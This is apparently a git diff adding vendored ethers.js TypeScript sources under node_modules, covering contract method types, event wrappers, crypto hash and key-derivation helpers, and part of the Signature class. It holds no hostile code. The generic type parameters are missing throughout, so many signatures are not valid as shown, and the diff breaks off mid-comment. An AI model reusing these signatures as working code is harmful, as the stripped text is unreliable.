keyof A ]-?: A[I] | Typed }>; + +// A = Arguments passed in as a tuple +// R = The result type of the call (i.e. if only one return type, +// the qualified type, otherwise Result) +// D = The type the default call will return (i.e. R for view/pure, +// TransactionResponse otherwise) + +/** + * A Contract method can be called directly, or used in various ways. + */ +export interface BaseContractMethod = Array, R = any, D extends R | ContractTransactionResponse = R | ContractTransactionResponse> { + (...args: ContractMethodArgs): Promise; + + /** + * The name of the Contract method. + */ + name: string; + + /** + * The fragment of the Contract method. This will throw on ambiguous + * method names. + */ + fragment: FunctionFragment; + + /** + * Returns the fragment constrained by %%args%%. This can be used to + * resolve ambiguous method names. + */ + getFragment(...args: ContractMethodArgs): FunctionFragment; + + /** + * Returns a populated transaction that can be used to perform the + * contract method with %%args%%. + */ + populateTransaction(...args: ContractMethodArgs): Promise; + + /** + * Call the contract method with %%args%% and return the value. + * + * If the return value is a single type, it will be dereferenced and + * returned directly, otherwise the full Result will be returned. + */ + staticCall(...args: ContractMethodArgs): Promise; + + /** + * Send a transaction for the contract method with %%args%%. + */ + send(...args: ContractMethodArgs): Promise; + + /** + * Estimate the gas to send the contract method with %%args%%. + */ + estimateGas(...args: ContractMethodArgs): Promise; + + /** + * Call the contract method with %%args%% and return the Result + * without any dereferencing. + */ + staticCallResult(...args: ContractMethodArgs): Promise; +} + +/** + * A contract method on a Contract. + */ +export interface ContractMethod< + A extends Array = Array, + R = any, + D extends R | ContractTransactionResponse = R | ContractTransactionResponse +> extends BaseContractMethod { } + +/** + * A pure of view method on a Contract. + */ +export interface ConstantContractMethod< + A extends Array, + R = any +> extends ContractMethod { } + + +/** + * Each argument of an event is nullable (to indicate matching //any//. + * + * @_ignore: + */ +export type ContractEventArgs> = { [ I in keyof A ]?: A[I] | Typed | null }; + +export interface ContractEvent = Array> { + (...args: ContractEventArgs): DeferredTopicFilter; + + /** + * The name of the Contract event. + */ + name: string; + + /** + * The fragment of the Contract event. This will throw on ambiguous + * method names. + */ + fragment: EventFragment; + + /** + * Returns the fragment constrained by %%args%%. This can be used to + * resolve ambiguous event names. + */ + getFragment(...args: ContractEventArgs): EventFragment; +}; + +/** + * A Fallback or Receive function on a Contract. + */ +export interface WrappedFallback { + (overrides?: Omit): Promise; + + /** + * Returns a populated transaction that can be used to perform the + * fallback method. + * + * For non-receive fallback, ``data`` may be overridden. + */ + populateTransaction(overrides?: Omit): Promise; + + /** + * Call the contract fallback and return the result. + * + * For non-receive fallback, ``data`` may be overridden. + */ + staticCall(overrides?: Omit): Promise; + + /** + * Send a transaction to the contract fallback. + * + * For non-receive fallback, ``data`` may be overridden. + */ + send(overrides?: Omit): Promise; + + /** + * Estimate the gas to send a transaction to the contract fallback. + * + * For non-receive fallback, ``data`` may be overridden. + */ + estimateGas(overrides?: Omit): Promise; +} diff --git a/node_modules/ethers/src.ts/contract/wrappers.ts b/node_modules/ethers/src.ts/contract/wrappers.ts new file mode 100644 index 000000000000..38ec9edf60b1 --- /dev/null +++ b/node_modules/ethers/src.ts/contract/wrappers.ts @@ -0,0 +1,225 @@ +// import from provider.ts instead of index.ts to prevent circular dep +// from EtherscanProvider +import { + Block, Log, TransactionReceipt, TransactionResponse +} from "../providers/provider.js"; +import { defineProperties, EventPayload } from "../utils/index.js"; + +import type { EventFragment, Interface, Result } from "../abi/index.js"; +import type { Listener } from "../utils/index.js"; +import type { + Provider +} from "../providers/index.js"; + +import type { BaseContract } from "./contract.js"; +import type { ContractEventName } from "./types.js"; + +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +export class EventLog extends Log { + /** + * The Contract Interface. + */ + readonly interface!: Interface; + + /** + * The matching event. + */ + readonly fragment!: EventFragment; + + /** + * The parsed arguments passed to the event by ``emit``. + */ + readonly args!: Result; + + /** + * @_ignore: + */ + constructor(log: Log, iface: Interface, fragment: EventFragment) { + super(log, log.provider); + const args = iface.decodeEventLog(fragment, log.data, log.topics); + defineProperties(this, { args, fragment, interface: iface }); + } + + /** + * The name of the event. + */ + get eventName(): string { return this.fragment.name; } + + /** + * The signature of the event. + */ + get eventSignature(): string { return this.fragment.format(); } +} + +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +export class UndecodedEventLog extends Log { + + /** + * The error encounted when trying to decode the log. + */ + readonly error!: Error; + + /** + * @_ignore: + */ + constructor(log: Log, error: Error) { + super(log, log.provider); + defineProperties(this, { error }); + } +} + +/** + * A **ContractTransactionReceipt** includes the parsed logs from a + * [[TransactionReceipt]]. + */ +export class ContractTransactionReceipt extends TransactionReceipt { + readonly #iface: Interface; + + /** + * @_ignore: + */ + constructor(iface: Interface, provider: Provider, tx: TransactionReceipt) { + super(tx, provider); + this.#iface = iface; + } + + /** + * The parsed logs for any [[Log]] which has a matching event in the + * Contract ABI. + */ + get logs(): Array { + return super.logs.map((log) => { + const fragment = log.topics.length ? this.#iface.getEvent(log.topics[0]): null; + if (fragment) { + try { + return new EventLog(log, this.#iface, fragment) + } catch (error: any) { + return new UndecodedEventLog(log, error); + } + } + + return log; + }); + } + +} + +/** + * A **ContractTransactionResponse** will return a + * [[ContractTransactionReceipt]] when waited on. + */ +export class ContractTransactionResponse extends TransactionResponse { + readonly #iface: Interface; + + /** + * @_ignore: + */ + constructor(iface: Interface, provider: Provider, tx: TransactionResponse) { + super(tx, provider); + this.#iface = iface; + } + + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(confirms?: number, timeout?: number): Promise { + const receipt = await super.wait(confirms, timeout); + if (receipt == null) { return null; } + return new ContractTransactionReceipt(this.#iface, this.provider, receipt); + } +} + +/** + * A **ContractUnknownEventPayload** is included as the last parameter to + * Contract Events when the event does not match any events in the ABI. + */ +export class ContractUnknownEventPayload extends EventPayload { + /** + * The log with no matching events. + */ + readonly log!: Log; + + /** + * @_event: + */ + constructor(contract: BaseContract, listener: null | Listener, filter: ContractEventName, log: Log) { + super(contract, listener, filter); + defineProperties(this, { log }); + } + + /** + * Resolves to the block the event occured in. + */ + async getBlock(): Promise { + return await this.log.getBlock(); + } + + /** + * Resolves to the transaction the event occured in. + */ + async getTransaction(): Promise { + return await this.log.getTransaction(); + } + + /** + * Resolves to the transaction receipt the event occured in. + */ + async getTransactionReceipt(): Promise { + return await this.log.getTransactionReceipt(); + } +} + +/** + * A **ContractEventPayload** is included as the last parameter to + * Contract Events when the event is known. + */ +export class ContractEventPayload extends ContractUnknownEventPayload { + + /** + * The matching event. + */ + declare readonly fragment: EventFragment; + + /** + * The log, with parsed properties. + */ + declare readonly log: EventLog; + + /** + * The parsed arguments passed to the event by ``emit``. + */ + declare readonly args: Result; + + /** + * @_ignore: + */ + constructor(contract: BaseContract, listener: null | Listener, filter: ContractEventName, fragment: EventFragment, _log: Log) { + super(contract, listener, filter, new EventLog(_log, contract.interface, fragment)); + const args = contract.interface.decodeEventLog(fragment, this.log.data, this.log.topics); + defineProperties(this, { args, fragment }); + } + + /** + * The event name. + */ + get eventName(): string { + return this.fragment.name; + } + + /** + * The event signature. + */ + get eventSignature(): string { + return this.fragment.format(); + } +} diff --git a/node_modules/ethers/src.ts/crypto/crypto-browser.ts b/node_modules/ethers/src.ts/crypto/crypto-browser.ts new file mode 100644 index 000000000000..e96f26ccb723 --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/crypto-browser.ts @@ -0,0 +1,64 @@ +/* Browser Crypto Shims */ + +import { hmac } from "@noble/hashes/hmac"; +import { pbkdf2 } from "@noble/hashes/pbkdf2"; +import { sha256 } from "@noble/hashes/sha256"; +import { sha512 } from "@noble/hashes/sha512"; + +import { assert, assertArgument } from "../utils/index.js"; + + +declare global { + interface Window { } + + const window: Window; + const self: Window; +} + + +function getGlobal(): any { + if (typeof self !== 'undefined') { return self; } + if (typeof window !== 'undefined') { return window; } + if (typeof global !== 'undefined') { return global; } + throw new Error('unable to locate global object'); +}; + +const anyGlobal = getGlobal(); +const crypto: any = anyGlobal.crypto || anyGlobal.msCrypto; + + +export interface CryptoHasher { + update(data: Uint8Array): CryptoHasher; + digest(): Uint8Array; +} + +export function createHash(algo: string): CryptoHasher { + switch (algo) { + case "sha256": return sha256.create(); + case "sha512": return sha512.create(); + } + assertArgument(false, "invalid hashing algorithm name", "algorithm", algo); +} + +export function createHmac(_algo: string, key: Uint8Array): CryptoHasher { + const algo = ({ sha256, sha512 }[_algo]); + assertArgument(algo != null, "invalid hmac algorithm", "algorithm", _algo); + return hmac.create(algo, key); +} + +export function pbkdf2Sync(password: Uint8Array, salt: Uint8Array, iterations: number, keylen: number, _algo: "sha256" | "sha512"): Uint8Array { + const algo = ({ sha256, sha512 }[_algo]); + assertArgument(algo != null, "invalid pbkdf2 algorithm", "algorithm", _algo); + return pbkdf2(algo, password, salt, { c: iterations, dkLen: keylen }); +} + +export function randomBytes(length: number): Uint8Array { + assert(crypto != null, "platform does not support secure random numbers", "UNSUPPORTED_OPERATION", { + operation: "randomBytes" }); + + assertArgument(Number.isInteger(length) && length > 0 && length <= 1024, "invalid length", "length", length); + + const result = new Uint8Array(length); + crypto.getRandomValues(result); + return result; +} diff --git a/node_modules/ethers/src.ts/crypto/crypto.ts b/node_modules/ethers/src.ts/crypto/crypto.ts new file mode 100644 index 000000000000..142ee3f0086b --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/crypto.ts @@ -0,0 +1,4 @@ + +export { + createHash, createHmac, pbkdf2Sync, randomBytes +} from "crypto"; diff --git a/node_modules/ethers/src.ts/crypto/hmac.ts b/node_modules/ethers/src.ts/crypto/hmac.ts new file mode 100644 index 000000000000..fa4e1ba8a82f --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/hmac.ts @@ -0,0 +1,51 @@ +/** + * An **HMAC** enables verification that a given key was used + * to authenticate a payload. + * + * See: [[link-wiki-hmac]] + * + * @_subsection: api/crypto:HMAC [about-hmac] + */ +import { createHmac } from "./crypto.js"; +import { getBytes, hexlify } from "../utils/index.js"; + +import type { BytesLike } from "../utils/index.js"; + + +let locked = false; + +const _computeHmac = function(algorithm: "sha256" | "sha512", key: Uint8Array, data: Uint8Array): BytesLike { + return createHmac(algorithm, key).update(data).digest(); +} + +let __computeHmac = _computeHmac; + +/** + * Return the HMAC for %%data%% using the %%key%% key with the underlying + * %%algo%% used for compression. + * + * @example: + * key = id("some-secret") + * + * // Compute the HMAC + * computeHmac("sha256", key, "0x1337") + * //_result: + * + * // To compute the HMAC of UTF-8 data, the data must be + * // converted to UTF-8 bytes + * computeHmac("sha256", key, toUtf8Bytes("Hello World")) + * //_result: + * + */ +export function computeHmac(algorithm: "sha256" | "sha512", _key: BytesLike, _data: BytesLike): string { + const key = getBytes(_key, "key"); + const data = getBytes(_data, "data"); + return hexlify(__computeHmac(algorithm, key, data)); +} +computeHmac._ = _computeHmac; +computeHmac.lock = function() { locked = true; } +computeHmac.register = function(func: (algorithm: "sha256" | "sha512", key: Uint8Array, data: Uint8Array) => BytesLike) { + if (locked) { throw new Error("computeHmac is locked"); } + __computeHmac = func; +} +Object.freeze(computeHmac); diff --git a/node_modules/ethers/src.ts/crypto/index.ts b/node_modules/ethers/src.ts/crypto/index.ts new file mode 100644 index 000000000000..296bf81d065a --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/index.ts @@ -0,0 +1,59 @@ +/** + * A fundamental building block of Ethereum is the underlying + * cryptographic primitives. + * + * @_section: api/crypto:Cryptographic Functions [about-crypto] + */ + +null + +// We import all these so we can export lock() +import { computeHmac } from "./hmac.js"; +import { keccak256 } from "./keccak.js"; +import { ripemd160 } from "./ripemd160.js"; +import { pbkdf2 } from "./pbkdf2.js"; +import { randomBytes } from "./random.js"; +import { scrypt, scryptSync } from "./scrypt.js"; +import { sha256, sha512 } from "./sha2.js"; + +export { + computeHmac, + + randomBytes, + + keccak256, + ripemd160, + sha256, sha512, + + pbkdf2, + scrypt, scryptSync +}; + +export { SigningKey } from "./signing-key.js"; +export { Signature } from "./signature.js"; + +/** + * Once called, prevents any future change to the underlying cryptographic + * primitives using the ``.register`` feature for hooks. + */ +function lock(): void { + computeHmac.lock(); + keccak256.lock(); + pbkdf2.lock(); + randomBytes.lock(); + ripemd160.lock(); + scrypt.lock(); + scryptSync.lock(); + sha256.lock(); + sha512.lock(); + randomBytes.lock(); +} + +export { lock }; + +///////////////////////////// +// Types + +export type { ProgressCallback } from "./scrypt.js"; + +export type { SignatureLike } from "./signature.js"; diff --git a/node_modules/ethers/src.ts/crypto/keccak.ts b/node_modules/ethers/src.ts/crypto/keccak.ts new file mode 100644 index 000000000000..ab2ba9db7eff --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/keccak.ts @@ -0,0 +1,54 @@ +/** + * Cryptographic hashing functions + * + * @_subsection: api/crypto:Hash Functions [about-crypto-hashing] + */ + +import { keccak_256 } from "@noble/hashes/sha3"; + +import { getBytes, hexlify } from "../utils/index.js"; + +import type { BytesLike } from "../utils/index.js"; + + +let locked = false; + +const _keccak256 = function(data: Uint8Array): Uint8Array { + return keccak_256(data); +} + +let __keccak256: (data: Uint8Array) => BytesLike = _keccak256; + +/** + * Compute the cryptographic KECCAK256 hash of %%data%%. + * + * The %%data%% **must** be a data representation, to compute the + * hash of UTF-8 data use the [[id]] function. + * + * @returns DataHexstring + * @example: + * keccak256("0x") + * //_result: + * + * keccak256("0x1337") + * //_result: + * + * keccak256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + * // Strings are assumed to be DataHexString, otherwise it will + * // throw. To hash UTF-8 data, see the note above. + * keccak256("Hello World") + * //_error: + */ +export function keccak256(_data: BytesLike): string { + const data = getBytes(_data, "data"); + return hexlify(__keccak256(data)); +} +keccak256._ = _keccak256; +keccak256.lock = function(): void { locked = true; } +keccak256.register = function(func: (data: Uint8Array) => BytesLike) { + if (locked) { throw new TypeError("keccak256 is locked"); } + __keccak256 = func; +} +Object.freeze(keccak256); diff --git a/node_modules/ethers/src.ts/crypto/pbkdf2.ts b/node_modules/ethers/src.ts/crypto/pbkdf2.ts new file mode 100644 index 000000000000..b61882287a97 --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/pbkdf2.ts @@ -0,0 +1,55 @@ +/** + * A **Password-Based Key-Derivation Function** is designed to create + * a sequence of bytes suitible as a **key** from a human-rememberable + * password. + * + * @_subsection: api/crypto:Passwords [about-pbkdf] + */ + +import { pbkdf2Sync } from "./crypto.js"; + +import { getBytes, hexlify } from "../utils/index.js"; + +import type { BytesLike } from "../utils/index.js"; + + +let locked = false; + +const _pbkdf2 = function(password: Uint8Array, salt: Uint8Array, iterations: number, keylen: number, algo: "sha256" | "sha512"): BytesLike { + return pbkdf2Sync(password, salt, iterations, keylen, algo); +} + +let __pbkdf2 = _pbkdf2; + +/** + * Return the [[link-pbkdf2]] for %%keylen%% bytes for %%password%% using + * the %%salt%% and using %%iterations%% of %%algo%%. + * + * This PBKDF is outdated and should not be used in new projects, but is + * required to decrypt older files. + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the PBKDF2 + * pbkdf2(passwordBytes, salt, 1024, 16, "sha256") + * //_result: + */ +export function pbkdf2(_password: BytesLike, _salt: BytesLike, iterations: number, keylen: number, algo: "sha256" | "sha512"): string { + const password = getBytes(_password, "password"); + const salt = getBytes(_salt, "salt"); + return hexlify(__pbkdf2(password, salt, iterations, keylen, algo)); +} +pbkdf2._ = _pbkdf2; +pbkdf2.lock = function(): void { locked = true; } +pbkdf2.register = function(func: (password: Uint8Array, salt: Uint8Array, iterations: number, keylen: number, algo: "sha256" | "sha512") => BytesLike) { + if (locked) { throw new Error("pbkdf2 is locked"); } + __pbkdf2 = func; +} +Object.freeze(pbkdf2); diff --git a/node_modules/ethers/src.ts/crypto/random.ts b/node_modules/ethers/src.ts/crypto/random.ts new file mode 100644 index 000000000000..ddf5f22056b0 --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/random.ts @@ -0,0 +1,36 @@ +/** + * A **Cryptographically Secure Random Value** is one that has been + * generated with additional care take to prevent side-channels + * from allowing others to detect it and prevent others from through + * coincidence generate the same values. + * + * @_subsection: api/crypto:Random Values [about-crypto-random] + */ +import { randomBytes as crypto_random } from "./crypto.js"; + +let locked = false; + +const _randomBytes = function(length: number): Uint8Array { + return new Uint8Array(crypto_random(length)); +} + +let __randomBytes = _randomBytes; + +/** + * Return %%length%% bytes of cryptographically secure random data. + * + * @example: + * randomBytes(8) + * //_result: + */ +export function randomBytes(length: number): Uint8Array { + return __randomBytes(length); +} + +randomBytes._ = _randomBytes; +randomBytes.lock = function(): void { locked = true; } +randomBytes.register = function(func: (length: number) => Uint8Array) { + if (locked) { throw new Error("randomBytes is locked"); } + __randomBytes = func; +} +Object.freeze(randomBytes); diff --git a/node_modules/ethers/src.ts/crypto/ripemd160.ts b/node_modules/ethers/src.ts/crypto/ripemd160.ts new file mode 100644 index 000000000000..7074be029094 --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/ripemd160.ts @@ -0,0 +1,43 @@ +import { ripemd160 as noble_ripemd160 } from "@noble/hashes/ripemd160"; + +import { getBytes, hexlify } from "../utils/index.js"; + +import type { BytesLike } from "../utils/index.js"; + + +let locked = false; + +const _ripemd160 = function(data: Uint8Array): Uint8Array { + return noble_ripemd160(data); +} + +let __ripemd160: (data: Uint8Array) => BytesLike = _ripemd160; + +/** + * Compute the cryptographic RIPEMD-160 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * ripemd160("0x") + * //_result: + * + * ripemd160("0x1337") + * //_result: + * + * ripemd160(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +export function ripemd160(_data: BytesLike): string { + const data = getBytes(_data, "data"); + return hexlify(__ripemd160(data)); +} +ripemd160._ = _ripemd160; +ripemd160.lock = function(): void { locked = true; } +ripemd160.register = function(func: (data: Uint8Array) => BytesLike) { + if (locked) { throw new TypeError("ripemd160 is locked"); } + __ripemd160 = func; +} +Object.freeze(ripemd160); diff --git a/node_modules/ethers/src.ts/crypto/scrypt.ts b/node_modules/ethers/src.ts/crypto/scrypt.ts new file mode 100644 index 000000000000..2844cb91f3e1 --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/scrypt.ts @@ -0,0 +1,114 @@ +import { scrypt as _nobleSync, scryptAsync as _nobleAsync } from "@noble/hashes/scrypt"; + +import { getBytes, hexlify as H } from "../utils/index.js"; + +import type { BytesLike } from "../utils/index.js"; + +/** + * A callback during long-running operations to update any + * UI or provide programatic access to the progress. + * + * The %%percent%% is a value between ``0`` and ``1``. + * + * @_docloc: api/crypto:Passwords + */ +export type ProgressCallback = (percent: number) => void; + + +let lockedSync = false, lockedAsync = false; + +const _scryptAsync = async function(passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number, onProgress?: ProgressCallback) { + return await _nobleAsync(passwd, salt, { N, r, p, dkLen, onProgress }); +} +const _scryptSync = function(passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number) { + return _nobleSync(passwd, salt, { N, r, p, dkLen }); +} + +let __scryptAsync: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number, onProgress?: ProgressCallback) => Promise = _scryptAsync; +let __scryptSync: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number) => BytesLike = _scryptSync + + +/** + * The [[link-wiki-scrypt]] uses a memory and cpu hard method of + * derivation to increase the resource cost to brute-force a password + * for a given key. + * + * This means this algorithm is intentionally slow, and can be tuned to + * become slower. As computation and memory speed improve over time, + * increasing the difficulty maintains the cost of an attacker. + * + * For example, if a target time of 5 seconds is used, a legitimate user + * which knows their password requires only 5 seconds to unlock their + * account. A 6 character password has 68 billion possibilities, which + * would require an attacker to invest over 10,000 years of CPU time. This + * is of course a crude example (as password generally aren't random), + * but demonstrates to value of imposing large costs to decryption. + * + * For this reason, if building a UI which involved decrypting or + * encrypting datsa using scrypt, it is recommended to use a + * [[ProgressCallback]] (as event short periods can seem lik an eternity + * if the UI freezes). Including the phrase //"decrypting"// in the UI + * can also help, assuring the user their waiting is for a good reason. + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scrypt(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +export async function scrypt(_passwd: BytesLike, _salt: BytesLike, N: number, r: number, p: number, dkLen: number, progress?: ProgressCallback): Promise { + const passwd = getBytes(_passwd, "passwd"); + const salt = getBytes(_salt, "salt"); + return H(await __scryptAsync(passwd, salt, N, r, p, dkLen, progress)); +} +scrypt._ = _scryptAsync; +scrypt.lock = function(): void { lockedAsync = true; } +scrypt.register = function(func: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number, progress?: ProgressCallback) => Promise) { + if (lockedAsync) { throw new Error("scrypt is locked"); } + __scryptAsync = func; +} +Object.freeze(scrypt); + +/** + * Provides a synchronous variant of [[scrypt]]. + * + * This will completely lock up and freeze the UI in a browser and will + * prevent any event loop from progressing. For this reason, it is + * preferred to use the [async variant](scrypt). + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scryptSync(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +export function scryptSync(_passwd: BytesLike, _salt: BytesLike, N: number, r: number, p: number, dkLen: number): string { + const passwd = getBytes(_passwd, "passwd"); + const salt = getBytes(_salt, "salt"); + return H(__scryptSync(passwd, salt, N, r, p, dkLen)); +} +scryptSync._ = _scryptSync; +scryptSync.lock = function(): void { lockedSync = true; } +scryptSync.register = function(func: (passwd: Uint8Array, salt: Uint8Array, N: number, r: number, p: number, dkLen: number) => BytesLike) { + if (lockedSync) { throw new Error("scryptSync is locked"); } + __scryptSync = func; +} +Object.freeze(scryptSync); diff --git a/node_modules/ethers/src.ts/crypto/sha2.ts b/node_modules/ethers/src.ts/crypto/sha2.ts new file mode 100644 index 000000000000..2fc8f8ac19f5 --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/sha2.ts @@ -0,0 +1,78 @@ +import { createHash } from "./crypto.js"; + +import { getBytes, hexlify } from "../utils/index.js"; + +import type { BytesLike } from "../utils/index.js"; + + +const _sha256 = function(data: Uint8Array): Uint8Array { + return createHash("sha256").update(data).digest(); +} + +const _sha512 = function(data: Uint8Array): Uint8Array { + return createHash("sha512").update(data).digest(); +} + +let __sha256: (data: Uint8Array) => BytesLike = _sha256; +let __sha512: (data: Uint8Array) => BytesLike = _sha512; + +let locked256 = false, locked512 = false; + + +/** + * Compute the cryptographic SHA2-256 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha256("0x") + * //_result: + * + * sha256("0x1337") + * //_result: + * + * sha256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +export function sha256(_data: BytesLike): string { + const data = getBytes(_data, "data"); + return hexlify(__sha256(data)); +} +sha256._ = _sha256; +sha256.lock = function(): void { locked256 = true; } +sha256.register = function(func: (data: Uint8Array) => BytesLike): void { + if (locked256) { throw new Error("sha256 is locked"); } + __sha256 = func; +} +Object.freeze(sha256); + + +/** + * Compute the cryptographic SHA2-512 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha512("0x") + * //_result: + * + * sha512("0x1337") + * //_result: + * + * sha512(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + */ +export function sha512(_data: BytesLike): string { + const data = getBytes(_data, "data"); + return hexlify(__sha512(data)); +} +sha512._ = _sha512; +sha512.lock = function(): void { locked512 = true; } +sha512.register = function(func: (data: Uint8Array) => BytesLike): void { + if (locked512) { throw new Error("sha512 is locked"); } + __sha512 = func; +} +Object.freeze(sha256); diff --git a/node_modules/ethers/src.ts/crypto/signature.ts b/node_modules/ethers/src.ts/crypto/signature.ts new file mode 100644 index 000000000000..bf97f5779b71 --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/signature.ts @@ -0,0 +1,378 @@ + +import { ZeroHash } from "../constants/index.js"; +import { + concat, dataLength, getBigInt, getBytes, getNumber, hexlify, + toBeArray, isHexString, zeroPadValue, + assertArgument, assertPrivate +} from "../utils/index.js"; + +import type { + BigNumberish, BytesLike, Numeric +} from "../utils/index.js"; + + +// Constants +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_2 = BigInt(2); +const BN_27 = BigInt(27); +const BN_28 = BigInt(28); +const BN_35 = BigInt(35); + + +const _guard = { }; + +// @TODO: Allow Uint8Array + +/** + * A SignatureLike + * + * @_docloc: api/crypto:Signing + */ +export type SignatureLike = Signature | string | { + r: string; + s: string; + v: BigNumberish; + yParity?: 0 | 1; + yParityAndS?: string; +} | { + r: string; + yParityAndS: string; + yParity?: 0 | 1; + s?: string; + v?: number; +} | { + r: string; + s: string; + yParity: 0 | 1; + v?: BigNumberish; + yParityAndS?: string; +}; + +function toUint256(value: BigNumberish): string { + return zeroPadValue(toBeArray(value), 32); +} + +/** + * A Signature @TODO + * + * + * @_docloc: api/crypto:Signing + */ +export class Signature { + #r: string; + #s: string; + #v: 27 | 28; + #networkV: null | bigint; + + /** + * The ``r`` value for a signature. + * + * This represents the ``x`` coordinate of a "reference" or + * challenge point, from which the ``y`` can be computed. + */ + get r(): string { return this.#r; } + set r(value: BytesLike) { + assertArgument(dataLength(value) === 32, "invalid r", "value", value); + this.#r = hexlify(value); + } + + /** + * The ``s`` value for a signature. + */ + get s(): string { + assertArgument(parseInt(this.#s.substring(0, 3)) < 8, "non-canonical s; use ._s", "s", this.#s); + return this.#s; + } + set s(_value: BytesLike) { + assertArgument(dataLength(_value) === 32, "invalid s", "value", _value); + this.#s = hexlify(_value); + } + + /** + * Return the s value, unchecked for EIP-2 compliance. + * + * This should generally not be used and is for situations where + * a non-canonical S value might be relevant, such as Frontier blocks + * that were mined prior to EIP-2 or invalid Authorization List + * signatures. + */ + get _s(): string { return this.#s; } + + /** + * Returns true if the Signature is valid for [[link-eip-2]] signatures. + */ + isValid(): boolean { + return (parseInt(this.#s.substring(0, 3)) < 8); + } + + /** + * The ``v`` value for a signature. + * + * Since a given ``x`` value for ``r`` has two possible values for + * its correspondin ``y``, the ``v`` indicates which of the two ``y`` + * values to use. + * + * It is normalized to the values ``27`` or ``28`` for legacy + * purposes. + */ + get v(): 27 | 28 { return this.#v; } + set v(value: BigNumberish) { + const v = getNumber(value, "value"); + assertArgument(v === 27 || v === 28, "invalid v", "v", value); + this.#v = v; + } + + /** + * The EIP-155 ``v`` for legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get networkV(): null | bigint { return this.#networkV; } + + /** + * The chain ID for EIP-155 legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get legacyChainId(): null | bigint { + const v = this.networkV; + if (v == null) { return null; } + return Signature.getChainId(v); + } + + /** + * The ``yParity`` for the signature. + * + * See ``v`` for more details on how this value is used. + */ + get yParity(): 0 | 1 { + return (this.v === 27) ? 0: 1; + } + + /** + * The [[link-eip-2098]] compact representation of the ``yParity`` + * and ``s`` compacted into a single ``bytes32``. + */ + get yParityAndS(): string { + // The EIP-2098 compact representation + const yParityAndS = getBytes(this.s); + if (this.yParity) { yParityAndS[0] |= 0x80; } + return hexlify(yParityAndS); + } + + /** + * The [[link-eip-2098]] compact representation. + */ + get compactSerialized(): string { + return concat([ this.r, this.yParityAndS ]); + } + + /** + * The serialized representation. + */ + get serialized(): string { + return concat([ this.r, this.s, (this.yParity ? "0x1c": "0x1b") ]); + } + + /** + * @private + */ + constructor(guard: any, r: string, s: string, v: 27 | 28) { + assertPrivate(guard, _guard, "Signature"); + this.#r = r; + this.#s = s; + this.#v = v; + this.#networkV = null; + } + + [Symbol.for('nodejs.util.inspect.custom')](): string { + return `Signature { r: "${ this.r }", s: "${ this._s }"${ this.isValid() ? "": ', valid: "false"'}, yParity: ${ this.yParity }, networkV: ${ this.networkV } }`; + } + + /** + * Returns a new identical [[Signature]]. + */ + clone(): Signature { + const clone = new Signature(_guard, this.r, this._s, this.v); + if (this.networkV) { clone.#networkV = this.networkV; } + return clone; + } + + /** + * Returns a representation that is compatible with ``JSON.stringify``. + */ + toJSON(): any { + const networkV = this.networkV; + return { + _type: "signature", + networkV: ((networkV != null) ? networkV.toString(): null), + r: this.r, s: this._s, v: this.v, + }; + } + + /** + * Compute the chain ID from the ``v`` in a legacy EIP-155 transactions. + * + * @example: + * Signature.getChainId(45) + * //_result: + * + * Signature.getChainId(46) + * //_result: + */ + static getChainId(v: BigNumberish): bigint { + const bv = getBigInt(v, "v"); + + // The v is not an EIP-155 v, so it is the unspecified chain ID + if ((bv == BN_27) || (bv == BN_28)) { return BN_0; } + + // Bad value for an EIP-155 v + assertArgument(bv >= BN_35, "invalid EIP-155 v", "v", v); + + return (bv - BN_35) / BN_2; + } + + /** + * Compute the ``v`` for a chain ID for a legacy EIP-155 transactions. + * + * Legacy transactions which use [[link-eip-155]] hijack the ``v`` + * property to include the chain ID. + * + * @example: + * Signature.getChainIdV(5, 27) + * 